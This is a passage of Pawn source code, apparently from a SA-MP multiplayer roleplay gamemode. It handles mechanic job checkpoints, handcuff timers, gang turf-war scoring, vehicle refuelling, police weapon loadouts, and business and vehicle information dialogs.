		  SetPlayerCheckpoint(i,1310.126586,-1367.812255,13.540800,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 2)
		  {
		  SetPlayerCheckpoint(i,-1039.009643, -571.915527, 32.835742,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 3 && TooHouse[MechanicAccepted[i]] != 9999)
		  {
		  new house = TooHouse[MechanicAccepted[i]];
		  SetPlayerCheckpoint(i,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz],5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 4)
		  {
		  SetPlayerCheckpoint(i,1481.0289,-1770.9703,18.7958,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 5)
		  {
		  SetPlayerCheckpoint(i,1554.9100,-1675.6428,16.1953,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 6)
		  {
		  SetPlayerCheckpoint(i,2287.0576,2432.1121,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 7)
		  {
		  SetPlayerCheckpoint(i,725.5550,-1451.0232,17.6953,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 8)
		  {
		  SetPlayerCheckpoint(i,1455.4546,750.9794,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 9)
		  {
		  SetPlayerCheckpoint(i,1456.7424,2773.4614,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 10)
		  {
		  SetPlayerCheckpoint(i,1080.997192,-345.408233,73.984069,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 11)
		  {
		  SetPlayerCheckpoint(i,2792.930175,-1087.530761,30.718750,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 12)
		  {
		  SetPlayerCheckpoint(i,2637.1936,2352.0090,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 13)
		  {
		  SetPlayerCheckpoint(i,1122.7065,-2037.0063,69.8942,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 14)
		  {
		  SetPlayerCheckpoint(i,937.3935,1733.2067,8.8516,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 15 && TooBiz[MechanicAccepted[i]] != 9999)
		  {
		  new bizw = TooBiz[MechanicAccepted[i]];
		  SetPlayerCheckpoint(i,BizzInfo[bizw][bEntranceX],BizzInfo[bizw][bEntranceY],BizzInfo[bizw][bEntranceZ],5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 16)
		  {
		  SetPlayerCheckpoint(i,2421.4998,-1219.2438,25.56175,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 17)
		  {
		  SetPlayerCheckpoint(i,2229.9011,-1721.2582,13.5613,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 18)
		  {
		  SetPlayerCheckpoint(i,2577.4768,1325.4229,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 19)
		  {
		  SetPlayerCheckpoint(i,1461.695, -1011.915, 26.84375,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 20)
		  {
		  SetPlayerCheckpoint(i,2436.9211,1734.6388,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 21)
		  {
		  SetPlayerCheckpoint(i,1599.1802,2221.7549,11.0625,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 22)
		  {
		  SetPlayerCheckpoint(i,2188.0947,2469.6829,11.2422,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 23)
		  {
		  SetPlayerCheckpoint(i,2097.4456,2224.2317,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 24)
		  {
		  SetPlayerCheckpoint(i,2637.1113,1129.2675,11.1797,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 25)
		  {
		  SetPlayerCheckpoint(i,1550.5363,1120.4553,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 26)
		  {
		  SetPlayerCheckpoint(i,2150.7559,2733.8718,11.1763,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 27)
		  {
		  SetPlayerCheckpoint(i,-19.2424,1175.5189,19.5634,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 28)
		  {
		  SetPlayerCheckpoint(i,2193.7659,1991.2770,12.2969,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 29)
		  {
		  SetPlayerCheckpoint(i,2441.1169,2065.3987,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 30)
		  {
		  SetPlayerCheckpoint(i,2308.5569,-1643.9500,14.8270,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 31)
		  {
		  SetPlayerCheckpoint(i,2441.1716,2163.5334,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 32)
		  {
		  SetPlayerCheckpoint(i,1352.4738,-1758.7869,13.5078,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 33)
		  {
		  SetPlayerCheckpoint(i,1833.4373,-1842.5286,13.5781,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 34)
		  {
		  SetPlayerCheckpoint(i,1315.5024,-897.8165,39.5781,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 35)
		  {
		  SetPlayerCheckpoint(i,1000.1695,-919.9931,42.3281,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 36)
		  {
		  SetPlayerCheckpoint(i,-78.5365,-1169.9178,2.1389,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 37)
		  {
		  SetPlayerCheckpoint(i,762.7137,-1792.9973,13.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 38)
		  {
		  SetPlayerCheckpoint(i,2165.875732,-1671.250000,15.073156,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 39)
		  {
		  SetPlayerCheckpoint(i,1199.3704,-918.4752,43.1199,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 40)
		  {
		  SetPlayerCheckpoint(i,2169.4907,2795.8733,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 41)
		  {
		  SetPlayerCheckpoint(i,928.3752,-1352.9083,13.3438,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 42)
		  {
		  SetPlayerCheckpoint(i,810.8053,-1616.1349,13.5469,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 43)
		  {
		  SetPlayerCheckpoint(i,2472.7500,2034.2101,11.0625,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 44)
		  {
		  SetPlayerCheckpoint(i,2083.2698,2224.6626,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 45)
		  {
		  SetPlayerCheckpoint(i,1872.4313,2071.8857,11.0625,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 46)
		  {
		  SetPlayerCheckpoint(i,2393.2512,2041.7485,10.8203,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 47)
		  {
		  SetPlayerCheckpoint(i,2102.1255,2228.7788,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 48)
		  {
		  SetPlayerCheckpoint(i,2105.1135,-1806.5432,13.5547,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 49)
		  {
		  SetPlayerCheckpoint(i,1656.7053,1733.3455,10.8281,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 50)
		  {
		  SetPlayerCheckpoint(i,2102.1282,2257.4785,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 51)
		  {
		  SetPlayerCheckpoint(i,2244.2517,-1665.4854,15.4766,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 52)
		  {
		  SetPlayerCheckpoint(i,2090.4385,2224.5938,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 53)
		  {
		  SetPlayerCheckpoint(i,2638.0071,1671.8262,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 54)
		  {
		  SetPlayerCheckpoint(i,2638.3850,1849.7784,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 55)
		  {
		  SetPlayerCheckpoint(i,2572.0415,1904.6978,11.0234,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 56)
		  {
		  SetPlayerCheckpoint(i,2420.1963,-1509.0098,24.0000,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 57)
		  {
		  SetPlayerCheckpoint(i,1158.0591,2072.2092,11.0625,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 58)
		  {
		  SetPlayerCheckpoint(i,2884.5710,2454.0039,11.0690,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 59)
		  {
		  SetPlayerCheckpoint(i,2845.8950,2415.3938,11.0690,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 60)
		  {
		  SetPlayerCheckpoint(i,2756.7285,2477.2551,11.0625,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 61)
		  {
		  SetPlayerCheckpoint(i,2802.8596,2430.6089,11.0625,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 70)
		  {
		  SetPlayerCheckpoint(i,1607.520996,1815.756591,10.820312,5);
		  }
		  if(Mahal[MechanicAccepted[i]] == 71)
		  {
			 SetPlayerCheckpoint(i,-329.8395,1536.6249,76.6117,5);
		  }
		  new Float:X,Float:Y,Float:Z;
			 GetPlayerPos(MechanicAccepted[i], X, Y, Z);
			 if(Mahal[MechanicAccepted[i]] == 9999)
			 {
			 SetPlayerCheckpoint(i, X, Y, Z, 5);
			 }
		  }
		  }
		  if(PlayerCuffed[i] == 1)
		  {
			 if(PlayerCuffedTime[i] <= 0)
			 {
				TogglePlayerControllable(i, 1);
				PlayerCuffed[i] = 0;
				PlayerCuffedTime[i] = 0;
				PlayerTazeTime[i] = 1;
			 }
			 else
			 {
				PlayerCuffedTime[i] -= 1;
			 }
		  }
		  if(PlayerCuffed[i] == 2)
		  {
			 if(PlayerCuffedTime[i] <= 0)
			 {
				GameTextForPlayer(i, "~r~You broke the Cuffs, you are free!", 2500, 3);
				TogglePlayerControllable(i, 1);
				PlayerCuffed[i] = 0;
				PlayerCuffedTime[i] = 0;
			 }
			 else
			 {
				PlayerCuffedTime[i] -= 1;
			 }
		  }
	   }
	}
for(new c = 0;c<sizeof(TurfInfo);c++)
{
if(TurfTime[c] >= 1)
{
TurfTime[c] --;
if(TurfTime[c] == 1)
{
new turfid = c;
scoreattacker[turfid] = killsattackerturf[turfid] - deathsattackerturf[turfid];
scorekhod[turfid] = killskhodturf[turfid] - deathskhodturf[turfid];
new stringo[512];
if(scoreattacker[turfid] > scorekhod[turfid])
{
new familyname[256];
for(new i = 0;i<Akharish;i++)
{
if(PINFO[i][pMember] == turfattacker[turfid] || PINFO[i][pLeader] == turfattacker[turfid])
{
	if(PINFO[i][pMember] == 5 || PINFO[i][pLeader] == 5)
	{
	format(stringo,256,"%s","DNB");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 6 || PINFO[i][pLeader] == 6)
	{
	format(stringo,256,"%s","Triads");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 12 || PINFO[i][pLeader] == 12)
	{
	format(stringo,256,"%s","GroveStreet");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 13 || PINFO[i][pLeader] == 13)
	{
	format(stringo,256,"%s","Vagos");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 14 || PINFO[i][pLeader] == 14)
	{
	format(stringo,256,"%s","TBF");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 15 || PINFO[i][pLeader] == 15)
	{
	format(stringo,256,"%s","VLA");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 19 || PINFO[i][pLeader] == 19)
	{
	format(stringo,256,"%s","TopBoys");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	format(stringo,512,"[Turfs]: Family %s(Your family) Captured Turfid %i Score: %i(Kills: %i & Deaths: %i)",familyname,turfid,scoreattacker[turfid],killsattackerturf[turfid],deathsattackerturf[turfid]);
	SCM(i,COLOR_JOB,stringo);
	GangZoneStopFlashForPlayer(i,Turfs[turfid]);
	format(stringo,512,"[Turfs]: Your score was %i(Your Kills: %i & Your Deaths: %i)",PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW],PlayerInfo[i][pKillW],PlayerInfo[i][pDeathW]);
	SCM(i,COLOR_JOB,stringo);
if(TurfShow[i] == 1) {
OnPlayerCommandText(i, "/turfs");
}

	for(new b;b<Akharish;b++)
					   {
						  if(IsPlayerConnected(b) && IsPlayerStreamedIn(b, i))
						  {
							 OnPlayerStreamIn(b, i);
							 OnPlayerStreamIn(i, b);
						  }
					   }
}
}
strmid(TurfInfo[turfid][zOwner],familyname,0,strlen(familyname),256);
SaveTurfs(turfid);

DynamicFactions[turfattacker[turfid]-1][fBank] += 2000;
SaveDynamicFactions(turfattacker[turfid]-1);
DynamicFactions[turfkhod[turfid]-1][fBank] -= 2000;
SaveDynamicFactions(turfkhod[turfid]-1);
for(new i = 0;i<Akharish;i++)
{
if(PlayerInfo[i][pMember] == turfkhod[turfid] || PlayerInfo[i][pLeader] == turfkhod[turfid])
{
format(stringo,512,"[Turfs]: Your family losted on capture turf %i, score: %i(Kills: %i & Deaths: %i)",turfid,scorekhod[turfid],killskhodturf[turfid],deathskhodturf[turfid]);
SCM(i,COLOR_JOB,stringo);
format(stringo,512,"[Turfs]: Your score was %i(Your Kills: %i & Your Deaths: %i)",PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW],PlayerInfo[i][pKillW],PlayerInfo[i][pDeathW]);
SCM(i,COLOR_JOB,stringo);

if(TurfShow[i] == 1) {
OnPlayerCommandText(i, "/turfs");
}
}
}
}
if(scoreattacker[turfid] < scorekhod[turfid])
{
new familyname[256];
for(new i = 0;i<Akharish;i++)
{
if(PINFO[i][pMember] == turfkhod[turfid] || PINFO[i][pLeader] == turfkhod[turfid])
{
	if(PINFO[i][pMember] == 5 || PINFO[i][pLeader] == 5)
	{
	format(stringo,256,"%s","DNB");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 6 || PINFO[i][pLeader] == 6)
	{
	format(stringo,256,"%s","Triads");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 12 || PINFO[i][pLeader] == 12)
	{
	format(stringo,256,"%s","GroveStreet");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 13 || PINFO[i][pLeader] == 13)
	{
	format(stringo,256,"%s","Vagos");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 14 || PINFO[i][pLeader] == 14)
	{
	format(stringo,256,"%s","TBF");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 15 || PINFO[i][pLeader] == 15)
	{
	format(stringo,256,"%s","VLA");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	if(PINFO[i][pMember] == 19 || PINFO[i][pLeader] == 19)
	{
	format(stringo,256,"%s","TopBoys");
	strmid(familyname,stringo,0,strlen(stringo),256);
	}
	format(stringo,512,"[Turfs]: Family %s(Your family) Captured Turfid %i Score: %i(Kills: %i & Deaths: %i)",familyname,turfid,scorekhod[turfid],killskhodturf[turfid],deathskhodturf[turfid]);
	SCM(i,COLOR_JOB,stringo);
	GangZoneStopFlashForPlayer(i,Turfs[turfid]);
	format(stringo,512,"[Turfs]: Your score was %i(Your Kills: %i & Your Deaths: %i)",PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW],PlayerInfo[i][pKillW],PlayerInfo[i][pDeathW]);
	SCM(i,COLOR_JOB,stringo);


if(TurfShow[i] == 1) {
OnPlayerCommandText(i, "/turfs");
}
}
}
strmid(TurfInfo[turfid][zOwner],familyname,0,strlen(familyname),256);
SaveTurfs(turfid);
DynamicFactions[turfkhod[turfid]-1][fBank] += 2000;
SaveDynamicFactions(turfkhod[turfid]-1);
DynamicFactions[turfattacker[turfid]-1][fBank] -= 2000;
SaveDynamicFactions(turfattacker[turfid]-1);
for(new i = 0;i<Akharish;i++)
{
if(PlayerInfo[i][pMember] == turfattacker[turfid] || PlayerInfo[i][pLeader] == turfattacker[turfid])
{
format(stringo,512,"[Turfs]: Your family losted on capture turf %i, score: %i(Kills: %i & Deaths: %i)",turfid,scoreattacker[turfid],killsattackerturf[turfid],deathsattackerturf[turfid]);
SCM(i,COLOR_JOB,stringo);
format(stringo,512,"[Turfs]: Your score was %i(Your Kills: %i & Your Deaths: %i)",PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW],PlayerInfo[i][pKillW],PlayerInfo[i][pDeathW]);
SCM(i,COLOR_JOB,stringo);

if(TurfShow[i] == 1) {
OnPlayerCommandText(i, "/turfs");
}
}
}
}
if(scoreattacker[turfid] == scorekhod[turfid])
{
for(new i = 0;i<Akharish;i++)
{
if(OnWar[i] == turfid)
{
format(stringo,512,"[Turfs]: Both teams scores is %d you have 5 minutes more time to capture zone.",scoreattacker[turfid]);
SCM(i,COLOR_JOB,stringo);
TurfTime[turfid] = 300;
TurfReload[turfid] = 1;
}
}
return 1;
}
for(new i = 0;i<Akharish;i++)
{
if(PINFO[i][pMember] == turfattacker[turfid] || PINFO[i][pLeader] == turfattacker[turfid] || PINFO[i][pMember] == turfkhod[turfid] || PINFO[i][pLeader] == turfkhod[turfid])
{
killsattacker[i] = 0;
deathsattacker[i] = 0;
killskhod[i] = 0;
deathskhod[i] = 0;

PlayerInfo[i][pDeathW] = 0;
SaveKonVal(i, "pDeathW", PINFO[i][pDeathW]);

PlayerInfo[i][pKillW] = 0;
SaveKonVal(i, "pKillW", PINFO[i][pKillW]);
TextDrawHideForPlayer(i, WarBox);
TextDrawHideForPlayer(i, WarA[OnWar[i]] );
TextDrawHideForPlayer(i, WarD[OnWar[i]] );
TextDrawHideForPlayer(i, WarVS );
PlayerTextDrawHide(i, WarDea[i] );
PlayerTextDrawHide(i, WarS[i] );
//PlayerTextDrawHide(i, WarT );
PlayerTextDrawHide(i, WarK[i] );
TextDrawHideForPlayer(i, WarTR[OnWar[i]] );


OnWar[i] = 9999;


}
}
killsattackerturf[turfid] = 0;
deathsattackerturf[turfid] = 0;
killskhodturf[turfid] = 0;
deathskhodturf[turfid] = 0;

scoreattacker[turfid] = 0;
scorekhod[turfid] = 0;
turfattacker[turfid] = 9999;
turfkhod[turfid] = 9999;
TurfTime[turfid] = 0;
TurfReload[turfid] = 0;
/*
for(new i = 0;i<Akharish;i++)
{
if(TurfShow[i] == 1)
{
	for(new b = 0;b<sizeof(TurfInfo);b++)
	{
	GangZoneHideForPlayer(i,Turfs[b]);
	if(!strcmp(TurfInfo[b][zOwner],"DNB",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0x5D7E8D77);
	}
	if(!strcmp(TurfInfo[b][zOwner],"Triads",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0x3E353577);
	}
	if(!strcmp(TurfInfo[b][zOwner],"GroveStreet",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0x19AF2377);
	}
	if(!strcmp(TurfInfo[b][zOwner],"Vagos",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0xFFBA0088);
	}
	if(!strcmp(TurfInfo[b][zOwner],"TBF",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0xB32CF6AA);
	}
	if(!strcmp(TurfInfo[b][zOwner],"VLA",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0x00ECEC77);
	}
	if(!strcmp(TurfInfo[b][zOwner],"TopBoys",true))
	{
	GangZoneShowForPlayer(i,Turfs[b],0x0E47FFAA);
	}
	}
	GangZoneShowForPlayer(i,B4,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B1,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B2,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B3,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B5,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B6,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B7,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B8,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B9,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B10,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B11,0xFFFFFFFF);
	GangZoneShowForPlayer(i,B12,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C1,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C2,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C3,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C4,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C5,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C6,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C7,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C8,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C10,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C11,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C12,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C13,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C14,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C15,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C16,0xFFFFFFFF);
	GangZoneShowForPlayer(i,C9,0xFFFFFFFF);
}
*/
//}
}
}
}
return 1;
}


public Fillup(i)
{
	   if(IsPlayerConnected(i))
	   {
		  new VID;
		  new FillUp;
		  new string[256];
		  VID = GetPlayerVehicleID(i);
		  FillUp = GasMax - Benzin[VID];
		  if(Refueling[i] == 1)
		  {
			 if(IsACopCar(VID) || IsAnAmbulance(VID))
			 {
				Benzin[VID] += FillUp;
				FillUp = FillUp * SBizzInfo[IsAtGasStation(i)][sbEntranceCost];
				format(string,sizeof(string),"* Vehicle filled up, for: $%s.",FormatNumber(FillUp));
				SendMessage(i,COLOR_WHITE,string);
				SBizzInfo[IsAtGasStation(i)][sbTill] += FillUp;
				SBizzInfo[IsAtGasStation(i)][sbProducts] --;
				Refueling[i] = 0;
				DarsadBenzin[VID] = 0;
				TogglePlayerControllable(i, 1);
			 }
			 else
			 {
				if(GetPlayerPool(i) >= FillUp)
				{
					Benzin[VID] += FillUp;
					FillUp = FillUp * SBizzInfo[IsAtGasStation(i)][sbEntranceCost];
					format(string,sizeof(string),"* Vehicle filled up, for: $%s.",FormatNumber(FillUp));
					SendMessage(i,COLOR_WHITE,string);
					GivePlayerPool(i, -FillUp);
					SBizzInfo[IsAtGasStation(i)][sbProducts] --;
					SBizzInfo[IsAtGasStation(i)][sbTill] += FillUp;
					Refueling[i] = 0;
					DarsadBenzin[VID] = 0;
					TogglePlayerControllable(i, 1);
				}
				else
				{
					format(string,sizeof(string),"Not enough Money to refill, it costs $%s to fill your Vehicle.",FormatNumber(FillUp));
					SendMessage(i,COLOR_WHITE,string);
					TogglePlayerControllable(i, 1);
				}
			 }
		  }
	   }
	return 1;
}
public SetPlayerWeapons(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerInfo[playerid][pJailTime] < 1)
	   {
		  if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
		  {
			 if(OnDuty[playerid] == 1 && IsACop(playerid) && PINFO[playerid][pGunLic] >= 1)//edited by me:D SiNaGaMeR
			 {
					   SetPlayerZereh(playerid, 100);
							GivePlayerKolang(playerid, 24, 1000);
							GivePlayerKolang(playerid, 3, 0);
							GivePlayerKolang(playerid, 31, 1000);
							GivePlayerKolang(playerid, 25, 1000);
							GivePlayerKolang(playerid, 29, 1000);
							GivePlayerKolang(playerid, 33, 1000);
							GivePlayerKolang(playerid, 41, 1000);
			 }
		  }
	   }
	}
}

public PrintSBizInfo(playerid,targetid)
{
	if(IsPlayerConnected(playerid))
	{
	   new string1[256];
	   new string2[256];
	   new bizstring[256];
	   new entry = SBizzInfo[targetid][sbEntranceCost];
	   new till = SBizzInfo[targetid][sbTill];
	   format(string1, 1024, "{26B0BA}%s's business! \n\n{67B304}These are your biz informations:{E5E3B3}\n{E5E3B3}Biz Name: {26B0BA}%s \n{E5E3B3}\n{E5E3B3}EntryFee: {26B0BA}${26B0BA}%s \n{E5E3B3}Till: {26B0BA}$%s",SBizzInfo[targetid][sbOwner],SBizzInfo[targetid][sbMessage],FormatNumber(entry),FormatNumber(till));
	   format(string2, 1024, "{E5E3B3}Products: {26B0BA}%d/%d",SBizzInfo[targetid][sbProducts],SBizzInfo[targetid][sbMaxProducts]);
	   format(bizstring, 2000, "%s\n%s",string1, string2);
	   ShowPlayerDialog(playerid, 422, DIALOG_STYLE_MSGBOX, " {838383}Business Information", bizstring, "Cancel","");
	}
}

public PrintBizInfo(playerid,targetid)
{
	if(IsPlayerConnected(playerid))
	{
	   new string1[512];
	   new string2[512];
	   new bizstring[2000];
	   new entry = BizzInfo[targetid][bEntranceCost];
	   new till = BizzInfo[targetid][bTill];
	   format(string1, 512, "{26B0BA}%s's business! \n\n{67B304}These are your biz informations:{E5E3B3}\n{E5E3B3}Biz Name: {26B0BA}%s \n{E5E3B3}Locked: {26B0BA}%d \n{E5E3B3}EntryFee: {26B0BA}${26B0BA}%s \n{E5E3B3}Till: {26B0BA}$%s:",BizzInfo[targetid][bOwner],BizzInfo[targetid][bMessage],BizzInfo[targetid][bLocked],FormatNumber(entry),FormatNumber(till));
	   format(string2, 512, "{E5E3B3}Products: {26B0BA}%d/%d",BizzInfo[targetid][bProducts],BizzInfo[targetid][bMaxProducts]);
	   format(bizstring, 2000, "%s\n%s",string1, string2);
	   ShowPlayerDialog(playerid, 422, DIALOG_STYLE_MSGBOX, " {838383}Business Information", bizstring, "Cancel","");
	}
}
public ShowCarInfo(playerid, targetid, MMID)
{
	if(IsPlayerConnected(playerid)&&IsPlayerConnected(targetid))
	{
		new v;
	   if(MMID == 1)
	   {
			v = PINFO[targetid][pVeh1];
		  new rrtext[20];
		  if(vInfo[v][cLock] == 1) {rrtext = "Yes"; }
		  else if(vInfo[v][cLock] == 0) {rrtext = "No"; }
		  new string[256];
		  new sname[MAX_PLAYER_NAME];
		  GetPlayerName(targetid,sname,sizeof(sname));
		  new vehicles = GetVehicleModel(PlayerInfo[targetid][pCar_1]) - 400;
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  format(string, 256, "*** %s's vehicle ***", sname);
		  SendMessage(playerid, COLOR_WHITE, string);
		  format(string, 256, "Model:[%s] Standard Price:[$%s] Locked:[%s] Times Destroyed:[%d] Insurance Amount:[%d]", aVehicleNames[vehicles], FormatNumber(vInfo[v][cPrice]), rrtext,vInfo[v][cDestroyed],vInfo[v][cInsurance]);
		  SendMessage(playerid, COLOR_GRAD3, string);
		  format(string, 256, "Plate:[%s{BFC0C2}] Color id 1:[%d] Color id 2:[%d] Fuel:[%s%%%] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],FormatNumber(Benzin[PINFO[targetid][pCar_1]]),vInfo[v][cKilo]);
		  SCM(playerid,COLOR_GRAD2, string);
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  return 1;
	   }
	   else if(MMID == 2)
	   {
			v = PINFO[targetid][pVeh2];
		  new rrtext[20];
		  if(vInfo[v][cLock] == 1) {rrtext = "Yes"; }
		  else if(vInfo[v][cLock] == 0) {rrtext = "No"; }
		  new string[256];
		  new sname[MAX_PLAYER_NAME];
		  GetPlayerName(targetid,sname,sizeof(sname));
		  new vehicles = GetVehicleModel(PlayerInfo[targetid][pCar_2]) - 400;
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  format(string, 256, "*** %s's vehicle ***", sname);
		  SendMessage(playerid, COLOR_WHITE, string);
		  format(string, 256, "Model:[%s] Standar Price:[$%s] Locked:[%s] Times Destroyed:[%d] Insurance Amount:[%d]", aVehicleNames[vehicles], FormatNumber(vInfo[v][cPrice]), rrtext,vInfo[v][cDestroyed],vInfo[v][cInsurance]);
		  SendMessage(playerid, COLOR_GRAD3, string);
		  format(string, 256, "Plate:[%s{BFC0C2}] Color id 1:[%d] Color id 2:[%d] Fuel:[%s%%%] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],FormatNumber(Benzin[PINFO[targetid][pCar_2]]),vInfo[v][cKilo]);
		  SCM(playerid,COLOR_GRAD2, string);
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  return 1;
	   }
		 else if(MMID == 3)
	   {
			v = PINFO[targetid][pVeh3];
		  new rrtext[20];
		  if(vInfo[v][cLock] == 1) {rrtext = "Yes"; }
		  else if(vInfo[v][cLock] == 0) {rrtext = "No"; }
		  new string[256];
		  new sname[MAX_PLAYER_NAME];
		  GetPlayerName(targetid,sname,sizeof(sname));
		  new vehicles = GetVehicleModel(PlayerInfo[targetid][pCar_3]) - 400;
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  format(string, 256, "*** %s's vehicle ***", sname);
		  SendMessage(playerid, COLOR_WHITE, string);
		  format(string, 256, "Model:[%s] Standar Price:[$%s] Locked:[%s] Times Destroyed:[%d] Insurance Amount:[%d]", aVehicleNames[vehicles], FormatNumber(vInfo[v][cPrice]), rrtext,vInfo[v][cDestroyed],vInfo[v][cInsurance]);
		  SendMessage(playerid, COLOR_GRAD3, string);
		  format(string, 256, "Plate:[%s{BFC0C2}] Color id 1:[%d] Color id 2:[%d] Fuel:[%s%%%] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],FormatNumber(Benzin[PINFO[targetid][pCar_3]]),vInfo[v][cKilo]);
		  SCM(playerid,COLOR_GRAD2, string);
